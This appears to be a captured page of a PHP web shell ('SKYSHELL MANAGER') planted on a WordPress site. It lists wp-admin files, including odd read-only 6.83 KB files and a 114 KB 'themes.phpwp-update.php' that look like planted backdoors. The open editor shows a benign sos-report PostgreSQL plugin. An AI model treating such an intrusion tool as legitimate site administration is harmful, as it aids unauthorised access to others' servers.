📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: postgresql.py
# Copyright (C) 2017 Red Hat, Inc., Pavel Moravec <pmoravec@redhat.com> # Copyright (C) 2014 Red Hat, Inc., Sandro Bonazzola <sbonazzo@redhat.com> # Copyright (C) 2013 Chris J Arges <chris.j.arges@canonical.com> # Copyright (C) 2012-2013 Red Hat, Inc., Bryn M. Reeves <bmr@redhat.com> # Copyright (C) 2011 Red Hat, Inc., Jesse Jaggars <jjaggars@redhat.com> # This file is part of the sos project: https://github.com/sosreport/sos # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of # version 2 of the GNU General Public License. # # See the LICENSE file in the source distribution for further information. import os from sos.plugins import (Plugin, UbuntuPlugin, DebianPlugin, SCLPlugin) from sos.utilities import find class PostgreSQL(Plugin): """PostgreSQL RDBMS""" plugin_name = "postgresql" profiles = ('services',) packages = ('postgresql', 'postgresql-common') password_warn_text = " (password visible in process listings)" option_list = [ ('pghome', 'PostgreSQL server home directory.', '', '/var/lib/pgsql'), ('username', 'username for pg_dump', '', 'postgres'), ('password', 'password for pg_dump' + password_warn_text, '', ''), ('dbname', 'database name to dump for pg_dump', '', ''), ('dbhost', 'database hostname/IP (do not use unix socket)', '', ''), ('dbport', 'database server port number', '', '5432') ] def do_pg_dump(self, scl=None, filename="pgdump.tar"): if self.get_option("dbname"): if self.get_option("password") or "PGPASSWORD" in os.environ: # We're only modifying this for ourself and our children so # there is no need to save and restore environment variables if # the user decided to pass the password on the command line. if self.get_option("password"): os.environ["PGPASSWORD"] = self.get_option("password") if self.get_option("dbhost"): cmd = "pg_dump -U %s -h %s -p %s -w -F t %s" % ( self.get_option("username"), self.get_option("dbhost"), self.get_option("dbport"), self.get_option("dbname") ) else: cmd = "pg_dump -C -U %s -w -F t %s " % ( self.get_option("username"), self.get_option("dbname") ) if scl is not None: cmd = self.convert_cmd_scl(scl, cmd) self.add_cmd_output(cmd, suggest_filename=filename, binary=True, sizelimit=0) else: # no password in env or options self.soslog.warning( "password must be supplied to dump a database." ) self.add_alert( "WARN: password must be supplied to dump a database." ) def setup(self): self.do_pg_dump() self.add_cmd_output("du -sh %s" % self.get_option('pghome')) class RedHatPostgreSQL(PostgreSQL, SCLPlugin): packages = ( 'postgresql', 'rh-postgresql95-postgresql-server', 'rh-postgresql10-postgresql-server', 'rh-postgresql12-postgresql-server', ) def setup(self): super(RedHatPostgreSQL, self).setup() pghome = self.get_option("pghome") dirs = [pghome] for pkg in self.packages[1:]: # The scl name, package name, and service name all differ slightly # but is at least consistent in doing so across versions, so we # need to do some mangling here scl = pkg.split('-postgresql-')[0] _dir = self.convert_copyspec_scl(scl, pghome) dirs.append(_dir) if os.path.isdir(_dir): self.add_cmd_output("du -sh %s" % _dir) if (self.is_service_running(pkg.replace('-server', '')) and scl in self.scls_matched): self.do_pg_dump(scl=scl, filename="pgdump-scl-%s.tar" % scl) for _dir in dirs: # Copy PostgreSQL log files. for filename in find("*.log", _dir): self.add_copy_spec(filename) # Copy PostgreSQL config files. for filename in find("*.conf", _dir): self.add_copy_spec(filename) # copy PG_VERSION and postmaster.opts for f in ["PG_VERSION", "postmaster.opts"]: self.add_copy_spec(os.path.join(_dir, "data", f)) class DebianPostgreSQL(PostgreSQL, DebianPlugin, UbuntuPlugin): def setup(self): super(DebianPostgreSQL, self).setup() self.add_copy_spec([ "/var/log/postgresql/*.log", "/etc/postgresql/*/main/*.conf", "/var/lib/postgresql/*/main/PG_VERSION", "/var/lib/postgresql/*/main/postmaster.opts" ]) # vim: set et ts=4 sw=4 :
Save